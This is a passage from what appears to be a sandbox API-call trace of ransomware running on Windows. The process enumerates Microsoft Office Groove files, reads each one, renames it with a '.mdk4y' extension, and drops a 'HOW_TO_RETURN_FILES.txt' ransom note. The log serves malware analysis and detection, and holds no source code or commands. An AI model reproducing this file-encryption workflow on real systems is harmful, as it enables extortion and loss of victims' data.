returned 1 [0218.527] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829375700000) returned 1 [0218.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\utilityfunctions.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\utilityfunctions.js.mdk4y")) returned 1 [0218.529] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.529] AreFileApisANSI () returned 1 [0218.529] GetACP () returned 0x4e4 [0218.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="validation.js", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="validation.jsons.js", lpUsedDefaultChar=0x37dda8) returned 13 [0218.529] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.530] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376000000) returned 1 [0218.530] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6427, lpOverlapped=0x0) returned 1 [0218.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376100000) returned 1 [0218.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376100000) returned 1 [0218.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\validation.js.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\validation.js.mdk4y")) returned 1 [0218.533] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.533] AreFileApisANSI () returned 1 [0218.533] GetACP () returned 0x4e4 [0218.533] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.ICO", cchWideChar=8, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.ICOon.js", lpUsedDefaultChar=0x37dda8) returned 8 [0218.533] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376400000) returned 1 [0218.534] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x13e, lpOverlapped=0x0) returned 1 [0218.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376700000) returned 1 [0218.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376700000) returned 1 [0218.537] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico.mdk4y")) returned 1 [0218.538] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.538] AreFileApisANSI () returned 1 [0218.538] GetACP () returned 0x4e4 [0218.538] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VIEW.JS", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="VIEW.JSO", lpUsedDefaultChar=0x37dda8) returned 7 [0218.538] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829376900000) returned 1 [0218.539] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1db1, lpOverlapped=0x0) returned 1 [0218.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829377700000) returned 1 [0218.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829377800000) returned 1 [0218.548] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.JS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.js.mdk4y")) returned 1 [0218.550] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.550] AreFileApisANSI () returned 1 [0218.550] GetACP () returned 0x4e4 [0218.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ViewHeaderPreview.jpg", cchWideChar=21, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ViewHeaderPreview.jpgf", lpUsedDefaultChar=0x37dda8) returned 21 [0218.550] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829378000000) returned 1 [0218.551] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xd78, lpOverlapped=0x0) returned 1 [0218.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829378200000) returned 1 [0218.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829378200000) returned 1 [0218.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\ViewHeaderPreview.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\viewheaderpreview.jpg.mdk4y")) returned 1 [0218.553] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0218.553] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0218.553] AreFileApisANSI () returned 1 [0218.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0218.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.554] GetFileType (hFile=0x130) returned 0x1 [0218.555] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0218.555] AreFileApisANSI () returned 1 [0218.555] GetACP () returned 0x4e4 [0218.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveForms4", cchWideChar=12, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveForms4", lpUsedDefaultChar=0x37de34) returned 12 [0218.555] AreFileApisANSI () returned 1 [0218.555] GetACP () returned 0x4e4 [0218.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=83, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\瞈㲣瞈鑖瞣_") returned 83 [0218.569] AreFileApisANSI () returned 1 [0218.569] GetACP () returned 0x4e4 [0218.569] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0218.569] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.570] AreFileApisANSI () returned 1 [0218.570] GetACP () returned 0x4e4 [0218.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0218.570] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.570] AreFileApisANSI () returned 1 [0218.570] GetACP () returned 0x4e4 [0218.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ADD.GIF", cchWideChar=7, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ADD.GIFxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 7 [0218.571] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380100000) returned 1 [0218.572] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x244, lpOverlapped=0x0) returned 1 [0218.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380200000) returned 1 [0218.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380200000) returned 1 [0218.573] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\ADD.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\add.gif.mdk4y")) returned 1 [0218.574] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.574] AreFileApisANSI () returned 1 [0218.574] GetACP () returned 0x4e4 [0218.574] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AddToViewArrow.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AddToViewArrow.jpg47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 18 [0218.574] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.575] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380500000) returned 1 [0218.575] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xbe8, lpOverlapped=0x0) returned 1 [0218.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380600000) returned 1 [0218.576] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380600000) returned 1 [0218.576] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrow.jpg.mdk4y")) returned 1 [0218.577] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.577] AreFileApisANSI () returned 1 [0218.577] GetACP () returned 0x4e4 [0218.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AddToViewArrowMask.bmp", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AddToViewArrowMask.bmp28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 22 [0218.577] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.578] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380800000) returned 1 [0218.578] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x924, lpOverlapped=0x0) returned 1 [0218.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380900000) returned 1 [0218.579] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829380900000) returned 1 [0218.579] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\AddToViewArrowMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\addtoviewarrowmask.bmp.mdk4y")) returned 1 [0218.580] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.580] AreFileApisANSI () returned 1 [0218.580] GetACP () returned 0x4e4 [0218.580] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="attention.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="attention.gifwMask.bmp", lpUsedDefaultChar=0x37dda8) returned 13 [0218.580] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.581] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829381100000) returned 1 [0218.581] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xae8, lpOverlapped=0x0) returned 1 [0218.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829381900000) returned 1 [0218.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829381900000) returned 1 [0218.590] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\attention.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\attention.gif.mdk4y")) returned 1 [0218.591] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.591] AreFileApisANSI () returned 1 [0218.591] GetACP () returned 0x4e4 [0218.591] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BG_ADOBE.GIF", cchWideChar=12, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BG_ADOBE.GIFf", lpUsedDefaultChar=0x37dda8) returned 12 [0218.591] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829382200000) returned 1 [0218.592] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x614e, lpOverlapped=0x0) returned 1 [0218.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829383300000) returned 1 [0218.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829383300000) returned 1 [0218.604] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\BG_ADOBE.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_adobe.gif.mdk4y")) returned 1 [0218.606] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.606] AreFileApisANSI () returned 1 [0218.606] GetACP () returned 0x4e4 [0218.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Casual.gif", cchWideChar=13, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Casual.gif", lpUsedDefaultChar=0x37dda8) returned 13 [0218.606] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829383700000) returned 1 [0218.607] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x161d, lpOverlapped=0x0) returned 1 [0218.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829384800000) returned 1 [0218.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829384800000) returned 1 [0218.619] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Casual.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_casual.gif.mdk4y")) returned 1 [0218.620] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0218.620] AreFileApisANSI () returned 1 [0218.620] GetACP () returned 0x4e4 [0218.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bg_Country.gif", cchWideChar=14, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="bg_Country.gifMask.bmp", lpUsedDefaultChar=0x37dda8) returned 14 [0218.620] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\bg_Country.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\bg_country.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0218.621] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829385100000) returned 1 [0218.621] 